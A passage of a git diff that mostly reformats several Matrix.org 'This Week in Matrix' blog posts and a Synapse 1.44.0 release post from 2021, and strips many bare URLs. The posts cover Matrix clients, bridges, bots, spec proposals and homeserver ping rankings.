thrilled about Spaces support and I'm certain we’ll hear more about Cinn [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) got a bit carried away and announced in French: -> La grande nouvelle de la semaine est l’arrivée du [chargement de l’historique](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/826), implémenté par Julian. Nous avons également 2 nouveaux contributeurs : +> La grande nouvelle de la semaine est l’arrivée du [chargement de l’historique](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/826), implémenté par Julian. Nous avons également 2 nouveaux contributeurs : > > * djenren a [corrigé l’écran de connexion](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/834) et [mis à jour la version de Rust suggérée](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/833) > @@ -173,13 +172,13 @@ I’m thrilled about Spaces support and I'm certain we’ll hear more about Cinn ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) told us: > Released [0.2.9](https://github.com/vector-im/hydrogen-web/releases/tag/v0.2.9) & [0.2.10](https://github.com/vector-im/hydrogen-web/releases/tag/v0.2.10) this week with the main thing being improvements in preventing scroll jumps when resizing or loading more content in the timeline. Not 100% of scroll jumps will be solved with this release, but it should be improved a lot. Please report any issues you may encounter in this area! There were also a few bugs fixed, see the linked release notes. Try it out at [hydrogen.element.io](https://hydrogen.element.io)! -### Beeper +### Beeper [Brad Murray](https://matrix.to/#/@brad:beeper.com) offered: @@ -200,14 +199,13 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > * Added the ability to view your rooms using our Smart Inbox that places the most important messages at the top, or with Classic which leaves the room in a reverse chronological order. > > * You can now select network by network which messages should appear in your inbox using our Inbox Filtering feature -> * We now have beta support for Custom CSS theming! Check out some of the themes that have already been made by the community. https://gitlab.com/beeper/beeper-themes +> * We now have beta support for Custom CSS theming! Check out some of the themes that have already been made by the community. > > * Previously we only supported DMs for Discord out of the box, but now you can pick and choose which Discord servers to sync into Beeper > ![2021-09-17-qoIOe-BeeperDesktop.png](/blog/img/2021-09-17-qoIOe-BeeperDesktop.png) - > #### iOS > > * A complete beautiful rewrite of the Room List using SwiftUI. The room list now looks much more native to iOS, while still feeling like Beeper. @@ -218,15 +216,16 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > > * Redesigned room list: we started a redesign of our Android app and adopted the Material design language. > -> * Integrated Android SMS bridge: Our previous Android Messages bridge was built on a shakey puppeteer foundation, so we rewrote it. Our new Android SMS uses native APIs to send/receive SMS. RCS remains elusively out of our grasp for now. We open sourced our bridge at https://gitlab.com/beeper/android-sms +> * Integrated Android SMS bridge: Our previous Android Messages bridge was built on a shakey puppeteer foundation, so we rewrote it. Our new Android SMS uses native APIs to send/receive SMS. RCS remains elusively out of our grasp for now. We open sourced our bridge at ![2021-09-17-aqgDm-BeeperAndroidRoomList.png](/blog/img/2021-09-17-aqgDm-BeeperAndroidRoomList.png) > #### Bots > -> * Wrote a bot for managing Linear issues from Matrix: https://gitlab.com/beeper/linear-maubot +> * Wrote a bot for managing Linear issues from Matrix: +> +> * Wrote a bot to mirror chats into Chatwoot (an open source Intercom-like customer support platform): > -> * Wrote a bot to mirror chats into Chatwoot (an open source Intercom-like customer support platform): https://gitlab.com/beeper/chatwoot > #### Hiring > > * We are hiring! Come join many other Matrix community members who have joined the Beeper team including @tulir:maunium.net, @annie:beeper.com, @kilian:beeper.com, @spiritcroc:beeper.com and @sumner:beeper.com (who replied to our last TWIM job post and got a job at Beeper within a week!) @@ -253,8 +252,6 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > > I hope this clears up some of the confusion. Feel free to visit us in [#nheko:nheko.im](https://matrix.to/#/#nheko:nheko.im) and tell me, that I am wrong. - - ![2021-09-17-QUWSp-clipboard.png](/blog/img/2021-09-17-QUWSp-clipboard.png) ![2021-09-17-aYmoK-clipboard.png](/blog/img/2021-09-17-aYmoK-clipboard.png) @@ -273,6 +270,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and * Continuing discovery of threads. * Cross-signing bug fixes. * We’re going to involve the community in testing the product. More details to come early next week if you want to lend a hand! + #### iOS * Made another Release candidate 1.5.4 because of reported regressions. It will be available on the app store on Monday @@ -316,7 +314,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > > [Polyjuice Client](https://hex.pm/packages/polyjuice_client) 0.4.3 has been released. This release adds functions for getting room membership (thanks to multi prise) and checking the server spec versions, along with some bug fixes. > -> Finally, the Polyjuice libraries have moved their git repositories from https://gitlab.com/uhoreg to https://gitlab.com/polyjuice. The old locations should automatically redirect to the new locations. +> Finally, the Polyjuice libraries have moved their git repositories from to . The old locations should automatically redirect to the new locations. ## Dept of Ops 🛠 @@ -338,7 +336,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and ![2021-09-17-G_vQu-sample-interaction.png](/blog/img/2021-09-17-G_vQu-sample-interaction.png) -> You can find the source code here: https://sr.ht/~sumner/standupbot/ +> You can find the source code here: ## Dept of Events and Talks 🗣️ @@ -372,11 +370,11 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > > **Links and further reading:** > -> Play with it at: https://toger5.github.io/TheBoard/ (feel free to join: https://matrix.to/#/#PublicWhiteboardTest_TheBoard:matrix.org with the account used for testing to join the first collaborative board) -> Join the matrix room: https://matrix.to/#/#TheBoard:matrix.org +> Play with it at: (feel free to join: with the account used for testing to join the first collaborative board) +> Join the matrix room: > -> GitHub: https://github.com/toger5/TheBoard -> Technical Details: https://github.com/toger5/TheBoard/blob/main/spec.md +> GitHub: +> Technical Details: ![2021-09-17-eCmKF-image.png](/blog/img/2021-09-17-eCmKF-image.png) @@ -384,7 +382,7 @@ The Board is very exciting! I could see in [the planned use cases](https://githu > Indeed. I wasn't thinking about a builtin home-server yet. But a standalone app is still planned because I want the app to be able to manage different boards. Therefore I need to be able to control room creation and listing rooms. It should basically feel like onenote if you intend to use it like that. -## Dept of *Built on Matrix* 🏗️ +## Dept of _Built on Matrix_ 🏗️ ### AAGRINDER @@ -404,7 +402,7 @@ I love the retro vibe of the game, it's really cool! > > There's a lot more info in my talk from last night at the Open Metaverse Interoperability Demo Night (my talk starts at 37:43) > -> https://youtu.be/e26UJRCGfGk?t=2263 +> > > If you want to chat more about Third Room, you can join our Matrix room: [#thirdroom-dev:matrix.org](https://matrix.to/#/#thirdroom-dev:matrix.org) @@ -421,6 +419,7 @@ Beeper mentioned they have several positions open, and [Element is also talents Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -437,6 +436,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|eisfunke.com|2014| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/09/2021-09-24-this-week-in-matrix-2021-09-24.md b/content/blog/2021/09/2021-09-24-this-week-in-matrix-2021-09-24.md index b0ae50183..112e69749 100644 --- a/content/blog/2021/09/2021-09-24-this-week-in-matrix-2021-09-24.md +++ b/content/blog/2021/09/2021-09-24-this-week-in-matrix-2021-09-24.md @@ -29,16 +29,16 @@ image = "https://matrix.org/blog/img/2021-09-24-7-coe-screenshot_20210919-165213 When asked if that was a specification change he drafted because of limitations faced when trying to implement a bridge, he said: > Yeah, so it's something I've been plotting for a while, but internally we wanted the ability to "act" based upon signups to a homeserver i.e. sending a welcome. In the past this has been implemented client-side in Element, but that has obvious caveats. -> -> The traditional response has usually been to write a Synapse module, but I wanted to do something that could be used on other homeserver implementations and also not have to have it co-located with the homeserver, so the natural home for this kind of logic was appservices. -> +> +> The traditional response has usually been to write a Synapse module, but I wanted to do something that could be used on other homeserver implementations and also not have to have it co-located with the homeserver, so the natural home for this kind of logic was appservices. +> > There are other things there too like logouts / deactivations which are good for erasing data on a service too. Generally I'm hoping it can be extended further once it's stable, for other use cases too ### Spec [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announced: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -58,6 +58,7 @@ When asked if that was a specification change he drafted because of limitations > **Merged MSCs:** > > * _No MSCs were merged this week._ +> > #### Spec Updates > > [MSC3401](https://github.com/matrix-org/matrix-doc/pull/3401) (Native Group Voip Signalling) has been receiving positive feedback over the course of the week. The MSC spells out how one would go about implementing native, decentralised group voice and video calls over Matrix without the need for a third-party service. This is the next step forward after the full-mesh group signalling work, as demoed in previous editions of TWIM, lands. Quite exciting stuff! @@ -74,7 +75,6 @@ When asked if that was a specification change he drafted because of limitations ![2021-09-24-spec.png](/blog/img/2021-09-24-spec.png) - MSC3401 looks like there's a lot of work going on on the native VoIP side. I can't wait to see what the future holds! ## Dept of Servers 🏢 @@ -111,9 +111,9 @@ Ananace always answering the call on TWIMday! > > Hi there, > Didn't post updates about the etke.cc service for a while. If somebody not familiar - we setup and maintain matrix servers (based on awesome [spantaleev/matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy))... and setup VPN... and DNS recursive resolver, and... AND!!!! Provide hosting, yes. So, starting today that's available for everyone (we offer it for some time in "well, you know, we don't provide hosting, but if you want it so hard..." way and it works good) -> +> > Even with that update (literally the most requested thing, was in every third order we got), provided hosting considered as your own server, the only difference that you don't pay hosting provider directly, but through us. So, you get root access to the server and we treat it as any other customer's infrastructure -> +> > Join #announcements:etke.cc room and say hello in #discussion:etke.cc ## Dept of Bridges 🌉 @@ -151,9 +151,9 @@ Ananace always answering the call on TWIMday! What improvements did hifi bring to the formatting you may ask? I asked, and hifi answered: > the fallbacks are inconsistent and usually are markdown which is a lie 😅 -> replies and mentions are completely all over the place in the fallback in addition to being markdown -> the unformatted html is now something in between and doesn't do code blocks at all because those ticks are just noise on irc -> it tries to look like more that you pasted long text rather than sending markdown +> replies and mentions are completely all over the place in the fallback in addition to being markdown +> the unformatted html is now something in between and doesn't do code blocks at all because those ticks are just noise on irc +> it tries to look like more that you pasted long text rather than sending markdown That's very considerate for IRC user, thanks hifi! @@ -167,7 +167,7 @@ That's very considerate for IRC user, thanks hifi! > This release features a lot of bug fixes and the new multi account feature which also include account bundles. > -> #### All changes: +> #### All changes > > * feat: Multiple accounts > @@ -227,7 +227,7 @@ Congrats on the release, kitsune! ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) told us: @@ -241,11 +241,11 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > A little `synadm` release went out this week. Thanks a lot to @govynnus for contributing "Registration token management", it's available as a new subcommand `regtok`. Also some tiny improvements here and there were brought in to make admin experience even more convenient. > -> Have a look at the release notes: https://github.com/JOJ0/synadm/releases +> Have a look at the release notes: > -> PyPI: https://pypi.org/project/synadm/0.31/ +> PyPI: > -> Upgrade: https://github.com/JOJ0/synadm#update +> Upgrade: Those are the same registration tokens GSoC intern Callum implemented [and told us about in this Matrix Live episode](https://www.youtube.com/watch?v=bVKg4BHT0Z0). @@ -263,7 +263,6 @@ Those are the same registration tokens GSoC intern Callum implemented [and told > > If you're interested, check out the details and register on [Eventbrite](https://ansiblecs202109.eventbrite.com/?aff=matrix). We look forward to seeing you on Matrix at the **Ansible Contributor Summit**! - [Gwmngilfen](https://matrix.to/#/@gwmngilfen:matrix.org) added: > there's a mix of stuff going on to try out, we have hack sessions on Tues that may use the embedded Jitsi etc, and talks on Friday that will be more presenter/spectator @@ -283,6 +282,7 @@ We count on that, others are interested in this kind of set-up too! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -299,6 +299,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|nordgedanken.dev|1768| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/10/2021-10-01-this-week-in-matrix-2021-10-01.md b/content/blog/2021/10/2021-10-01-this-week-in-matrix-2021-10-01.md index d253351ee..1d02cc280 100644 --- a/content/blog/2021/10/2021-10-01-this-week-in-matrix-2021-10-01.md +++ b/content/blog/2021/10/2021-10-01-this-week-in-matrix-2021-10-01.md @@ -90,7 +90,7 @@ Now that's some teasing! I can't wait for next week! > > * Update bridge to matrix-appservice-bridge 3.1.0 ([\#614](https://github.com/matrix-org/matrix-appservice-slack/issues/614)) > -> Also, a PSA: If you were struggling to bridge your rooms to matrix while using the matrix.org bridge, this should now be fixed. An update made to the Slack APIs silently broke the oauth flow, which has since been fixed. This was a misconfiguration-gone-unnoticed in our Slack app configuration, so self hosters don't need to upgrade. The details are in https://github.com/matrix-org/matrix-appservice-slack/issues/617#issuecomment-932047990 +> Also, a PSA: If you were struggling to bridge your rooms to matrix while using the matrix.org bridge, this should now be fixed. An update made to the Slack APIs silently broke the oauth flow, which has since been fixed. This was a misconfiguration-gone-unnoticed in our Slack app configuration, so self hosters don't need to upgrade. The details are in ## Dept of Clients 📱 @@ -107,7 +107,7 @@ Now that's some teasing! I can't wait for next week! > * Pasting images should now work properly again on Windows and macOS, including pasting SVGs! > * The help and version command line parameters now work properly, even if an instance of Nheko is already running. > -> There has also been a lot of progress on the translations! We just cracked 50% translated, but since that includes a lot of languages with only a few percent, this is actually much more than it sounds! We actually have 8 languages with over 90% translations now. If you speak one of the languages at 70% or so, any help translating the remaining bits is very much appreciated. You can easily translate without an account here: https://weblate.nheko.im/projects/nheko/nheko-master/#translations If you want to translate without having to rely on the upvote mechanism, feel free to ask for translation permissions directly in [#nheko:nheko.im](https://matrix.to/#/#nheko:nheko.im). That is also the right room to ask questions about the translation process or translations themselves. +> There has also been a lot of progress on the translations! We just cracked 50% translated, but since that includes a lot of languages with only a few percent, this is actually much more than it sounds! We actually have 8 languages with over 90% translations now. If you speak one of the languages at 70% or so, any help translating the remaining bits is very much appreciated. You can easily translate without an account here: If you want to translate without having to rely on the upvote mechanism, feel free to ask for translation permissions directly in [#nheko:nheko.im](https://matrix.to/#/#nheko:nheko.im). That is also the right room to ask questions about the translation process or translations themselves. > > Nheko is also participating at Hacktoberfest this year. Translations done using the webinterface won't get counted for that though, you would need to submit a pull request manually for that. If you always felt like contributing to Nheko would be fun, but you had no reason to, now you can do it to let someone plant a tree for you (or get a T-shirt)! > @@ -115,7 +115,7 @@ Now that's some teasing! I can't wait for next week! ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) said: @@ -168,11 +168,11 @@ Hydrogen embedded! I'm looking forward to that. Great work Bruno! [TravisR](https://github.com/turt2live) told us: -> After 4 years, [matrix-email-bot](https://github.com/t2bot/matrix-email-bot) finally got an update. Now at v2, the bot has been rewritten using TypeScript and matrix-bot-sdk (farewell, js-sdk from 2017). It still requires manual setup and the behaviour overall should be the same as before, though the amount of testing is somewhat minimal - please complain in #email:t2bot.io if something goes wrong. +> After 4 years, [matrix-email-bot](https://github.com/t2bot/matrix-email-bot) finally got an update. Now at v2, the bot has been rewritten using TypeScript and matrix-bot-sdk (farewell, js-sdk from 2017). It still requires manual setup and the behaviour overall should be the same as before, though the amount of testing is somewhat minimal - please complain in #email:t2bot.io if something goes wrong. > > The bot also now supports encrypted rooms out of the box, including on the t2bot.io instance. Check out [t2bot.io/emailbot](https://t2bot.io/emailbot/) for information on how to get the bot set up in your room. > -> The full changelog is available on the repo: https://github.com/t2bot/matrix-email-bot/releases/tag/v2.0.0 +> The full changelog is available on the repo: Useful to watch a security mailing-list from the comfort of a Matrix room! @@ -183,17 +183,17 @@ Useful to watch a security mailing-list from the comfort of a Matrix room! [mr_johnson22](https://matrix.to/#/@mr_johnson22:matrix.org) announced: > An (unofficial) Matrix server by and for the [Newgrounds](https://www.newgrounds.com) community. -> +> > This is a Matrix server with membership restricted to [Newgrounds Supporters](https://www.newgrounds.com/supporter). Newgrounds is an independent arts & entertainment site that has been around for over 20 years, and I felt that its spirit of independence is a perfect match with the openness of Matrix! -> -> The most notable feature of the server is *comment rooms for Newgrounds submissions*. Unlike other content-sharing sites, Newgrounds submissions don't have comment sections, but _review_ sections, which let you post a single comment (and optional rating) for a submission. This encourages reviews to be focused on providing constructive feedback instead of being a place for off-topic discussions. With that said, open comment systems are nice too, so this Matrix server provides it! Simply visit `#portal_view_SUBMISSION_ID:ngmvs.one` to view! -> +> +> The most notable feature of the server is *comment rooms for Newgrounds submissions*. Unlike other content-sharing sites, Newgrounds submissions don't have comment sections, but *review* sections, which let you post a single comment (and optional rating) for a submission. This encourages reviews to be focused on providing constructive feedback instead of being a place for off-topic discussions. With that said, open comment systems are nice too, so this Matrix server provides it! Simply visit `#portal_view_SUBMISSION_ID:ngmvs.one` to view! +> > These comment rooms are world-visible, but (at least for the time being) only Newgrounds Supporters may join these rooms & post comments in them. -> +> > To help along with this, I made a Firefox extension to make joining these rooms a breeze: [NG MVSX](https://addons.mozilla.org/en-US/firefox/addon/newgrounds-mvsx/). Simply view a Newgrounds submission page, and click on the icon that appears in your URL bar! -> +> > Code for all components is open-sourced on [GitLab](https://gitlab.com/ngmvs). -> +> > This is all very new, so things might break! If they do, tell me in `#ngmvs-public-discussion:ngmvs.one` ## Final Thoughts 💭 @@ -207,6 +207,7 @@ Useful to watch a security mailing-list from the comfort of a Matrix room! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -223,6 +224,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|conduit-test.searx.monster|890| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/10/2021-10-05-synapse-1-44-0-released.md b/content/blog/2021/10/2021-10-05-synapse-1-44-0-released.md index f6af7f9d2..c13d4b888 100644 --- a/content/blog/2021/10/2021-10-05-synapse-1-44-0-released.md +++ b/content/blog/2021/10/2021-10-05-synapse-1-44-0-released.md @@ -32,10 +32,10 @@ Additionally, the ModuleApi can now inspect IP and User Agent data, as well as c We've also been busy refactoring. For example: -* Prometheus stats now distinguish between cache evictions due to entries expiring, and cache evictions due to the cache being full. -* The `synapse.handlers`, `synapse.rest`, and `synapse.storage.databases.state` modules are now fully type annotated and checked by mypy, among others. -* The user directory search code was cleaned up in preparation for future fixes. -* Another half dozen pull requests were merged with an aim toward clarifying federated event authentication code (and associated logging). +- Prometheus stats now distinguish between cache evictions due to entries expiring, and cache evictions due to the cache being full. +- The `synapse.handlers`, `synapse.rest`, and `synapse.storage.databases.state` modules are now fully type annotated and checked by mypy, among others. +- The user directory search code was cleaned up in preparation for future fixes. +- Another half dozen pull requests were merged with an aim toward clarifying federated event authentication code (and associated logging). Lastly, this release has seen considerable work toward supporting [MSC2716: Incrementally importing history into existing rooms](https://github.com/matrix-org/matrix-doc/pull/2716), along with an update to match the current state of [MSC3231: Token authenticated registration](https://github.com/matrix-org/matrix-doc/pull/3231). diff --git a/content/blog/2021/10/2021-10-08-this-week-in-matrix-2021-10-08.md b/content/blog/2021/10/2021-10-08-this-week-in-matrix-2021-10-08.md index 35800c46c..e463ae7c7 100644 --- a/content/blog/2021/10/2021-10-08-this-week-in-matrix-2021-10-08.md +++ b/content/blog/2021/10/2021-10-08-this-week-in-matrix-2021-10-08.md @@ -74,17 +74,15 @@ This week, I had the great pleasure of chatting with a lovely bunch from Element [Pascal](https://matrix.to/#/@lascapiriot:matrix.org) reported: -> Hi! Rocket.chat is working on a bridge with Matrix !!!! So nice 😊 +> Hi! Rocket.chat is working on a bridge with Matrix !!!! So nice 😊 > -> https://youtu.be/jBtBiUXLqAk?t=1691 - - +> ### matrix-appservice-irc 0.32.0-rc1 [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) told us: -> Hello one and all! We've got a minor-yet-MAJOR release candidate of the IRC bridge up for grabs. https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.32.0-rc1 is now based upon the 3.X matrix-appservice-bridge library, and so all the innards have been replaced with matrix-bot-sdk. +> Hello one and all! We've got a minor-yet-MAJOR release candidate of the IRC bridge up for grabs. is now based upon the 3.X matrix-appservice-bridge library, and so all the innards have been replaced with matrix-bot-sdk. > > Please try it out, and the full release should be out next week. @@ -94,31 +92,31 @@ This week, I had the great pleasure of chatting with a lovely bunch from Element Updates from the teams: + **Web** - * Released Element Web RC 1.9.1 RC2, containing Spaces papercut fixes among other things * Threads is continuing to steadily progress * Cross signing bug fixes and usability improvements * Ran another community testing session, which has thrown up many suggestions for improvements to our onboarding experience + **Delight team** - * Following the release of Spaces from Beta, we're fixing bugs and things which might have slipped through the cracks in the 1.0 release! + **iOS** - * Released 1.6.1 with Spaces and URLs preview on the App Store. * RC1.6.2 is being built. This is mainly a maintenance release * Updated libs and tools dependencies * Improved Spaces performance + **Android** - -* Element Android 1.3.2 is getting released today. It adds support to Android Auto (thanks [https://github.com/abaker](https://github.com/abaker) !) and lots of other features and bug fixes. Full changelog will be here: [https://github.com/vector-im/element-android/releases/tag/v1.3.2](https://github.com/vector-im/element-android/releases/tag/v1.3.2) +* Element Android 1.3.2 is getting released today. It adds support to Android Auto (thanks [https://github.com/abaker](https://github.com/abaker) !) and lots of other features and bug fixes. Full changelog will be here: [https://github.com/vector-im/element-android/releases/tag/v1.3.2](https://github.com/vector-im/element-android/releases/tag/v1.3.2) * The team is working on several tasks: * Cleanup the code managing the notifications. It should fix some related issues * Implement Presence support @@ -135,9 +133,9 @@ Updates from the teams: [ajbura](https://matrix.to/#/@ajbura:matrix.org) said: -> Cinny [v1.3.2](https://github.com/ajbura/cinny/releases/tag/v1.3.2) got released this week. It fixes unwanted "Password don't match" error on register page along with small improvements in Public room modal and message input (Thanks to Empty2k12). We also released v1.3.1 last week which fixed unnecessary CPU usages on idle and infinite spinner after login. +> Cinny [v1.3.2](https://github.com/ajbura/cinny/releases/tag/v1.3.2) got released this week. It fixes unwanted "Password don't match" error on register page along with small improvements in Public room modal and message input (Thanks to Empty2k12). We also released v1.3.1 last week which fixed unnecessary CPU usages on idle and infinite spinner after login. > -> Check it out at: https://cinny.in +> Check it out at: > > Join the matrix room: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) @@ -185,18 +183,17 @@ Updates from the teams: > Hello! Halcyon is a Matrix bot library created with the intention of being easy to install and use. My goal is to lower the barrier of entry currently required to write and maintain a bot. I do not intend you to need a database, or have to juggle encryption keys. > > With the initial release of the library we currently have: -> + A CLI tool for creating and revoking tokens > -> + Hooks for new messages, message edits -> + Hooks for room invites, and leaving rooms +> * A CLI tool for creating and revoking tokens > -> + Sending messages as text, markdown, and HTML -> + Sending replies to messages +> * Hooks for new messages, message edits +> * Hooks for room invites, and leaving rooms > -> + Ever improving documentation -> Please check out the example in https://github.com/WesR/Halcyon and join us over in [#halcyon:blackline.xyz](https://matrix.to/#/#halcyon:blackline.xyz) - - +> * Sending messages as text, markdown, and HTML +> * Sending replies to messages +> +> * Ever improving documentation +> Please check out the example in and join us over in [#halcyon:blackline.xyz](https://matrix.to/#/#halcyon:blackline.xyz) ### jOlm @@ -204,8 +201,6 @@ Updates from the teams: > Hi! Just a quick one: this week saw the first stable release of [jOlm](https://github.com/brevilo/jolm) - Olm bindings for Java - - ### libQuotient [kitsune](https://matrix.to/#/@kitsune:matrix.org) told us: @@ -222,7 +217,7 @@ Updates from the teams: ![2021-10-08-HVxe0-thread-interaction.png](/blog/img/2021-10-08-HVxe0-thread-interaction.png) -> If you are interested in learning more, the source code is here: https://sr.ht/~sumner/standupbot and you can join the development matrix room [#standupbot-dev:sumnerevans.com](https://matrix.to/#/#standupbot-dev:sumnerevans.com) +> If you are interested in learning more, the source code is here: and you can join the development matrix room [#standupbot-dev:sumnerevans.com](https://matrix.to/#/#standupbot-dev:sumnerevans.com) ## Dept of Events and Talks 🗣️ @@ -232,8 +227,6 @@ Updates from the teams: > Following the Matrix-powered [Ansible conference featured in TWIM-2](https://matrix.org/blog/2021/09/24/this-week-in-matrix-2021-09-24#ansible-contributor-summit-202109), @gwmngilfen:ansible.im [has written up some thoughts](https://emeraldreverie.org/2021/10/08/running-conferences-matrix/) on how it was structured, how it went, and why he thinks it worked (spoiler! It worked quite well!). - - ![2021-10-08-FLA8x-image.png](/blog/img/2021-10-08-FLA8x-image.png) ## Dept of Interesting Projects 🛰️ @@ -242,26 +235,27 @@ Updates from the teams: [mr_johnson22](https://matrix.to/#/@mr_johnson22:matrix.org) offered: -> #### An (unofficial) Matrix server for the Newgrounds community. +> #### An (unofficial) Matrix server for the Newgrounds community > > Since I was pressed for time last week, I didn't go much in depth on how this server works. Here is a brief overview of its components: > -> * https://app.ngmvs.one: A self-hosted Element Web with some theming tweaks, and the easiest way to visit the server. +> * : A self-hosted Element Web with some theming tweaks, and the easiest way to visit the server. > -> * https://matrix.ngmvs.one: the homeserver itself (Synapse). It has open registration, but only for [Newgrounds Supporters](https://www.newgrounds.com/supporter) (ie. patrons) via SSO logins with Newgrounds accounts. But Newgrounds doesn't have its own "Log in with Newgrounds" capability, so that leads me to the next component: +> * : the homeserver itself (Synapse). It has open registration, but only for [Newgrounds Supporters](https://www.newgrounds.com/supporter) (ie. patrons) via SSO logins with Newgrounds accounts. But Newgrounds doesn't have its own "Log in with Newgrounds" capability, so that leads me to the next component: > * [ng-saml-idp](https://gitlab.com/ngmvs/ng-saml-idp): middleware built on [PySAML2](https://pysaml2.readthedocs.io/en/latest/) for using Newgrounds logins as a SAML2 Identity Provider. The code is tailored for my Synapse installation, but it can easily be tweaked to allow Newgrounds SSO logins to any SAML2-compatible service! > > * [W-Bot](https://gitlab.com/ngmvs/wbot): a Matrix appservice/bot built on [mautrix-python](https://github.com/tulir/mautrix-python) that serves two purposes: -> 1. Creates Matrix rooms for Newgrounds movie/game submission pages (ie. maps `#portal_view_:ngmvs.one` to `https://www.newgrounds.com/portal/view/`), and adds a widget containing the submission itself to these rooms (but only if it's a movie--widgets for games will only have a link) > -> 2. Restricts membership of any room it moderates to logged-in Newgrounds Supporters. Users without a :ngmvs.one account can authenticate to the bot via the "login" bot command, which lets them log into their Newgrounds account. -> +> 1. Creates Matrix rooms for Newgrounds movie/game submission pages (ie. maps `#portal_view_:ngmvs.one` to `https://www.newgrounds.com/portal/view/`), and adds a widget containing the submission itself to these rooms (but only if it's a movie--widgets for games will only have a link) +> +> 2. Restricts membership of any room it moderates to logged-in Newgrounds Supporters. Users without a :ngmvs.one account can authenticate to the bot via the "login" bot command, which lets them log into their Newgrounds account. +> > -> Point 2 also means that anyone on the Matrix network can make a room that's restricted to Newgrounds Supporters. Just make sure the bot has a high enough power level to kick users! +> Point 2 also means that anyone on the Matrix network can make a room that's restricted to Newgrounds Supporters. Just make sure the bot has a high enough power level to kick users! > -> Public (and federation-accessible) instance is at [@w-bot:ngmvs.one](https://matrix.to/#/@w-bot:ngmvs.one). +> Public (and federation-accessible) instance is at [@w-bot:ngmvs.one](https://matrix.to/#/@w-bot:ngmvs.one). > -> (PS: The "W" stands for "double"--because of its job of "copying" rooms into Matrix.) +> (PS: The "W" stands for "double"--because of its job of "copying" rooms into Matrix.) > > * [MVSX](https://addons.mozilla.org/en-US/firefox/addon/newgrounds-mvsx/): a Firefox extension that, when visiting a Newgrounds movie/game submission page, puts a button in the URL bar that sends you to the Matrix room created for that submission by W-Bot. > @@ -298,6 +292,7 @@ Updates from the teams: Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -314,6 +309,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|wallace.sh|2480.5| ### 